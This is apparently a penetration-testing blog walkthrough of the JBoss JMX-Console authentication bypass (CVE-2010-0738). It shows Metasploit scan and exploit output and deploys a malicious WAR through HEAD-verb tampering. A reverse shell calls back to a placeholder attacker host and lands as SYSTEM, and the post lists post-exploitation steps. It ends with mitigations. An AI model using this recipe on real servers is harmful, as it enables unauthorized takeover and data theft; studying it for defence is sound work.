JBoss JMX-Console Authentication Bypass

Background

===========================

During engagements performing vulnerability assessments and penetration tests, it's common for FishNet Security consultants to encounter JBoss and Tomcat management consoles completely unprotected or protected only by the use of default credentials. This is one of the first weaknesses we look to identify because it provides a reliable, repeatable compromise of the device. Additionally, Windows-based devices commonly run the process as the all-powerful System User. Exploitation of such a device leads immediately to elevated privileges on the device and a foothold in the network.

Generally speaking, it's much more common to find these vulnerabilities during an internal assessment. Externally, devices and applications (including JBoss and Tomcat management consoles) are typically hardened to prevent penetration from the outside. However, simply using non-default, strong passwords for externally facing management consoles does not indicate security. I'm speaking specifically of the JBoss JMX-Console and the associated authentication bypass vulnerability CVE-2010-0738.

The vulnerability applies to older JBoss versions (pre 4.3). =These vulnerable versions only enforce authentication for GET and POST HTTP requests. Therefore, an attacker can simply craft the standard request message (for example, to deploy a malicious web application) and alter the request from a GET to a HEAD HTTP request and he/she can perform all the actions of an authenticated user. Even better, this can be accomplished with current Metasploit modules. Let's walk through the steps.

Attack

======================================================================

1. Locate an instance of JBoss and its associated JMX-Console. The format traditionally follows http://www.example.com/jmx-console

2. Scan the instance to identify authentication bypass weaknesses using Metasploit:

msf auxiliary(jboss_vulnscan) > show options

Module options (auxiliary/scanner/http/jboss_vulnscan):

msf auxiliary(jboss_vulnscan) > exploit

[*] Apache-Coyote/1.1

[*] www.example.com:80 Checking http...

[*] www.example.com:80 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[*] www.example.com:80 /status not found (404)

[*] www.example.com:80 /web-console/ServerInfo.jsp requires authentication (401): Basic realm="JBoss WEB Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[*] www.example.com:80 /web-console/Invoker requires authentication (401): Basic realm="JBoss WEB Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[+] www.example.com:80 /invoker/JMXInvokerServlet does not require authentication (200)

[*] www.example.com:80 Checking services...

[*] www.example.com:80 Naming Service tcp/1098: closed

[*] www.example.com:80 Naming Service tcp/1099: closed

[*] www.example.com:80 RMI invoker tcp/4444: closed

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Note the lines that read "Got authentication bypass via HTTP verb tampering." This indicates that even though authentication is required to access the web and JMX consoles that the underlying functionality is NOT protected. Let's exploit!

3. Utilize another Metasploit module to deploy a malicious web application - a web application that gives the attacker command-line access to the server.

msf exploit(jboss_bshdeployer) > show options

Module options (exploit/multi/http/jboss_bshdeployer):

Payload options (java/jsp_shell_reverse_tcp):

Exploit target:

Id Name

-- ----

0 Universal

msf exploit(jboss_bshdeployer) > exploit

[*] Started reverse handler on attacker-ip:80

[*] Creating exploded WAR in deploy/fishnet.war/ dir via BSHDeployer

[*] Attempting to use 'deployer' as package

[-] Exploit exception: Unable to deploy WAR [No Response]

[*] Exploit completed, but no session was created.

msf exploit(jboss_bshdeployer) >  

Note in the above details a few items:

• LPORT is set to port 80. Being such a commonly used port, it's likely port 80 can get beyond any egress filtering.
• VERB has been set to HEAD. The default value of "POST" was changed because, according to our vulnerability scan, a HEAD request does not require authentication.
• The exploit appears to fail. However, this is expected. A web server does not include a body in the HTTP response to a HEAD request message. Since no body is received in response, Metasploit assumes the deployment fails and doesn't attempt to trigger the payload.
• SHELL was explicitly set to the appropriate value (cmd.exe for Windows). This is because Metasploit can't accurately identify the exploit target when using HTTP HEAD request messages. Explicitly setting the SHELL value ensures Metasploit knows which OS-specific shell to use.

4. Although no shell was created in Step 3 and Metasploit appears to fail on the deployment, we can verify the deployment worked by pointing our web browser at www.example.com/fishnet. We should see the WAR file was deployed as expected.

5. After confirming the deployment was successful, let's manually establish our shell. Start the listener first ...

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Payload options (java/jsp_shell_reverse_tcp):

Exploit target:

Id Name

-- ----

0 Wildcard Target  

msf exploit(handler) > exploit [

*] Started reverse handler on attacker-ip:80

[*] Starting the payload handler ...

6. Point your browser to www.example.com/fishnet/reverse-met.jsp and receive your reverse connection ...

[*] Command shell session 1 opened (attacker-ip:80 -> www.example.com:62461) at 2011-11-28 07:48:19 -0600

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\>whoami whoami

nt authority\system

Great success! We can now perform a number of post-exploitation tasks, including upgrading to a feature-rich Meterpreter shell, pivoting to additional internal hosts, dumping password hashes, impersonating domain administrators, scouring the machine for juicy information, etc.

Mitigation

======================================================================

A few possible mitigation strategies include ...

1. Change the default configuration for the vulnerable JBoss instances to require authentication for all HTTP requests, not just GET and POST
2. Upgrade JBoss to a non-vulnerable version
3. Alter configurations to deny external access to the JBoss web and JMX consoles
4. Enforce strong egress filtering to limit the possibility of a reverse connect payload succeeding
5. Ensure monitoring, alerting and incident response is in place to detect compromise and exploitation attempts